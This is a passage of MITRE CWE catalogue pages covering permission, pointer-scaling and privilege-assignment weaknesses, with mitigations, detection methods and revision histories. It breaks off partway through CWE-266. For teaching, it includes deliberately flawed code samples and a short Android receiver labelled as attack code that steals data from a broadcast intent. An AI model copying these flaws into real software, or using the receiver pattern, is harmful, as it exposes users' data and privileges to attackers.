OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Note: The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phases: Implementation; Installation

During program startup, explicitly set the default permissions or umask to the most restrictive setting possible. Also set the appropriate permissions during program installation. This will prevent you from inheriting insecure permissions from any user who installs or runs the program.

Effectiveness: High

Phase: System Configuration

For all configuration files, executables, and libraries, make sure that they are only readable and writable by the software's administrator.

Effectiveness: High

Phase: Documentation

Do not suggest insecure configuration changes in documentation, especially if those configurations can extend to resources and other programs that are outside the scope of the application.

Phase: Installation

Do not assume that a system administrator will manually change the configuration to the settings that are recommended in the software's manual.

Phases: Operation; System Configuration

Strategy: Environment Hardening

Ensure that the software runs properly under the United States Government Configuration Baseline (USGCB) [REF-199] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.

Phases: Implementation; System Configuration; Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to disable public access.
+ Detection Methods

Automated Static Analysis

Automated static analysis may be effective in detecting permission problems for system resources such as files, directories, shared memory, device interfaces, etc. Automated techniques may be able to detect the use of library functions that modify permissions, then analyze function calls for arguments that contain potentially insecure values.

However, since the software's intended security policy might allow loose permissions for certain operations (such as publishing a file on a web server), automated static analysis may produce some false positives - i.e., warnings that do not have any security consequences or require any code changes.

When custom permissions models are used - such as defining who can read messages in a particular forum in a bulletin board system - these can be difficult to detect using automated static analysis. It may be possible to define custom signatures that identify any custom functions that implement the permission checks and assignments.

Automated Dynamic Analysis

Automated dynamic analysis may be effective in detecting permission problems for system resources such as files, directories, shared memory, device interfaces, etc.

However, since the software's intended security policy might allow loose permissions for certain operations (such as publishing a file on a web server), automated dynamic analysis may produce some false positives - i.e., warnings that do not have any security consequences or require any code changes.

When custom permissions models are used - such as defining who can read messages in a particular forum in a bulletin board system - these can be difficult to detect using automated dynamic analysis. It may be possible to define custom signatures that identify any custom functions that implement the permission checks and assignments.

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Manual Static Analysis

Manual static analysis may be effective in detecting the use of custom permissions models and functions. The code could then be examined to identifying usage of the related functions. Then the human analyst could evaluate permission assignments in the context of the intended security model of the software.

Manual Dynamic Analysis

Manual dynamic analysis may be effective in detecting the use of custom permissions models and functions. The program could then be executed with a focus on exercising code paths that are related to the custom permissions. Then the human analyst could evaluate permission assignments in the context of the intended security model of the software.

Fuzzing

Fuzzing is not effective in detecting this weakness.

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and watch for library functions or system calls on OS resources such as files, directories, and shared memory. Examine the arguments to these calls to infer which permissions are being used.

Note: Note that this technique is only useful for permissions issues related to system resources. It is not likely to detect application-level business rules that are related to permissions, such as if a user of a blog system marks a post as "private," but the blog system inadvertently marks it as "public."

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Inter-application Flow Analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Host-based Vulnerability Scanners - Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Host Application Interface Scanner
Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer
  • Automated Monitored Execution
  • Forced Path Execution

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Configuration Checker

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7532009 Top 25 - Porous Defenses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8032010 Top 25 - Porous Defenses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.815OWASP Top Ten 2010 Category A6 - Security Misconfiguration
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.857The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.859The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.860The CERT Oracle Secure Coding Standard for Java (2011) Chapter 17 - Runtime Environment (ENV)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8662011 Top 25 - Porous Defenses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.946SFP Secondary Cluster: Insecure Resource Permissions
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1147SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1149SEI CERT Oracle Secure Coding Standard for Java - Guidelines 15. Platform Security (SEC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1150SEI CERT Oracle Secure Coding Standard for Java - Guidelines 16. Runtime Environment (ENV)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1337Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Frequent Misuse

Rationale:

While the name itself indicates an assignment of permissions for resources, this is often misused for vulnerabilities in which "permissions" are not checked, which is an "authorization" weakness (CWE-285 or descendants) within CWE's model [REF-1287].

Comments:

Closely analyze the specific mistake that is allowing the resource to be exposed, and perform a CWE mapping for that mistake.
+ Notes

Maintenance

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693).
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)FIO03-JCreate files with appropriate access permission
The CERT Oracle Secure Coding Standard for Java (2011)SEC01-JDo not allow tainted variables in privileged blocks
The CERT Oracle Secure Coding Standard for Java (2011)ENV03-JDo not grant dangerous combinations of permissions
CERT C Secure CodingFIO06-CCreate files with appropriate access permissions
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "File Permissions." Page 495. 1st Edition. Addison Wesley. 2006.
[REF-207] John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". Chapter 8, "Access Control." Page 194. 1st Edition. Addison-Wesley. 2002.
[REF-594] Jason Lam. "Top 25 Series - Rank 21 - Incorrect Permission Assignment for Critical Response". SANS Software Security Institute. 2010-03-24. <http://software-security.sans.org/blog/2010/03/24/top-25-series-rank-21-incorrect-permission-assignment-for-critical-response>.
[REF-199] NIST. "United States Government Configuration Baseline (USGCB)". <https://csrc.nist.gov/Projects/United-States-Government-Configuration-Baseline>. URL validated: 2023-03-28.
[REF-1287] MITRE. "Supplemental Details - 2022 CWE Top 25". Details of Problematic Mappings. 2022-06-28. <https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails>.
[REF-1307] Center for Internet Security. "CIS Microsoft Azure Foundations Benchmark version 1.5.0". Section 3.7. 2022-08-16. <https://www.cisecurity.org/benchmark/azure>. URL validated: 2023-01-19.
[REF-1327] Center for Internet Security. "CIS Google Cloud Computing Platform Benchmark version 1.3.0". Section 5.1. 2022-03-31. <https://www.cisecurity.org/benchmark/google_cloud_computing_platform>. URL validated: 2023-04-24.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-09-08
(CWE 1.0, 2008-09-09)
CWE Content TeamMITRE
new weakness-focused entry for Research view.
+ Modifications
Modification DateModifierOrganization
2009-01-12CWE Content TeamMITRE
updated Description, Likelihood_of_Exploit, Name, Potential_Mitigations, Relationships
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations, Related_Attack_Patterns
2009-05-27CWE Content TeamMITRE
updated Name
2009-12-28CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Modes_of_Introduction, Observed_Examples, Potential_Mitigations, References
2010-02-16CWE Content TeamMITRE
updated Relationships
2010-04-05CWE Content TeamMITRE
updated Potential_Mitigations, Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Detection_Factors, Potential_Mitigations, References, Relationships
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2010-12-13CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-07-17CWE Content TeamMITRE
updated References
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships
2017-01-19CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2017-11-08CWE Content TeamMITRE
updated Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2019-09-19CWE Content TeamMITRE
updated Maintenance_Notes, Relationships
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Description, Detection_Factors, Modes_of_Introduction, Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-07-20CWE Content TeamMITRE
updated Observed_Examples, Relationships
2022-10-13CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, References
2023-01-31CWE Content TeamMITRE
updated Applicable_Platforms, Description, References
2023-04-27CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Potential_Mitigations, References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Insecure Permission Assignment for Resource
2009-05-27Insecure Permission Assignment for Critical Resource

CWE-468: Incorrect Pointer Scaling

Weakness ID: 468
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
In C and C++, one may often accidentally refer to the wrong memory due to the semantics of when math operations are implicitly scaled.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.682Incorrect Calculation
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.465Pointer Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationProgrammers may try to index from a pointer by adding a number of bytes. This is incorrect because C and C++ implicitly scale the operand by the size of the data type.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Memory; Modify Memory

Incorrect pointer scaling will often result in buffer overflow conditions. Confidentiality can be compromised if the weakness is in the context of a buffer over-read or under-read.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

This example attempts to calculate the position of the second byte of a pointer.

(bad code)
Example Language:
int *p = x;
char * second_char = (char *)(p + 1);

In this example, second_char is intended to point to the second byte of p. But, adding 1 to p actually adds sizeof(int) to p, giving a result that is incorrect (3 bytes off on 32-bit platforms). If the resulting memory address is read, this could potentially be an information leak. If it is a write, it could be a security-critical write to unauthorized memory-- whether or not it is a buffer overflow. Note that the above code may also be wrong in other ways, particularly in a little endian environment.

+ Potential Mitigations

Phase: Architecture and Design

Use a platform with high-level memory abstractions.

Phase: Implementation

Always use array indexing instead of direct pointer manipulation.

Phase: Architecture and Design

Use technologies for preventing buffer overflows.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.737CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.998SFP Secondary Cluster: Glitch in Computation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1160SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1408Comprehensive Categorization: Incorrect Calculation
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPUnintentional pointer scaling
CERT C Secure CodingARR39-CExactDo not add or subtract a scaled integer to a pointer
CERT C Secure CodingEXP08-CEnsure pointer arithmetic is used correctly
Software Fault PatternsSFP1Glitch in computation
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Pointer Arithmetic", Page 277. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-01KDM Analytics
added/updated white box definitions
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-07-17KDM Analytics
Improved the White_Box_Definition
2009-07-27CWE Content TeamMITRE
updated White_Box_Definitions
2009-10-29CWE Content TeamMITRE
updated Common_Consequences
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Modes_of_Introduction, Other_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings, White_Box_Definitions
2019-01-03CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated References
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Unintentional Pointer Scaling

CWE-266: Incorrect Privilege Assignment

Weakness ID: 266
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A product incorrectly assigns a privilege to a particular actor, creating an unintended sphere of control for that actor.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.269Improper Privilege Management
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.9J2EE Misconfiguration: Weak Access Permissions for EJB Methods
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.520.NET Misconfiguration: Use of Impersonation
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.556ASP.NET Misconfiguration: Use of Identity Impersonation
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.1022Use of Web Link to Untrusted Target with window.opener Access
CanAlsoBeClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.286Incorrect User Management
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.265Privilege Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

A user can access restricted functionality and/or sensitive information that may include administrative functionality and user accounts.
+ Demonstrative Examples

Example 1

The following example demonstrates the weakness.

(bad code)
Example Language:
seteuid(0);
/* do some stuff */

seteuid(getuid());

Example 2

The following example demonstrates the weakness.

(bad code)
Example Language: Java 
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
// privileged code goes here, for example:
System.loadLibrary("awt");
return null;
// nothing to return
}

Example 3

This application sends a special intent with a flag that allows the receiving application to read a data file for backup purposes.

(bad code)
Example Language: Java 
Intent intent = new Intent();
intent.setAction("com.example.BackupUserData");
intent.setData(file_uri);
intent.addFlags(FLAG_GRANT_READ_URI_PERMISSION);
sendBroadcast(intent);
(attack code)
Example Language: Java 
public class CallReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Uri userData = intent.getData();
stealUserData(userData);
}
}

Any malicious application can register to receive this intent. Because of the FLAG_GRANT_READ_URI_PERMISSION included with the intent, the malicious receiver code can read the user's data.

+ Observed Examples
ReferenceDescription
untrusted user placed in unix "wheel" group
Product allows users to grant themselves certain rights that can be used to escalate privileges.
Product uses group ID of a user instead of the group, causing it to run with different privileges. This is resultant from some other unknown issue.
Product mistakenly assigns a particular status to an entity, leading to increased privileges.
+ Potential Mitigations

Phases: Architecture and Design; Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Affected Resources
  • System Process
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.723OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.859The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.901SFP Primary Cluster: Privilege
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1149SEI CERT Oracle Secure Coding Standard for Java - Guidelines 15. Platform Security (SEC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1348OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERIncorrect Privilege Assignment
The CERT Oracle Secure Coding Standard for Java (2011)SEC00-JDo not allow privileged blocks to leak sensitive information across a trust boundary
The CERT Oracle Secure Coding Standard for Java (2011)SEC01-JDo not allow tainted variables in privileged blocks
+ References
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-12-28CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
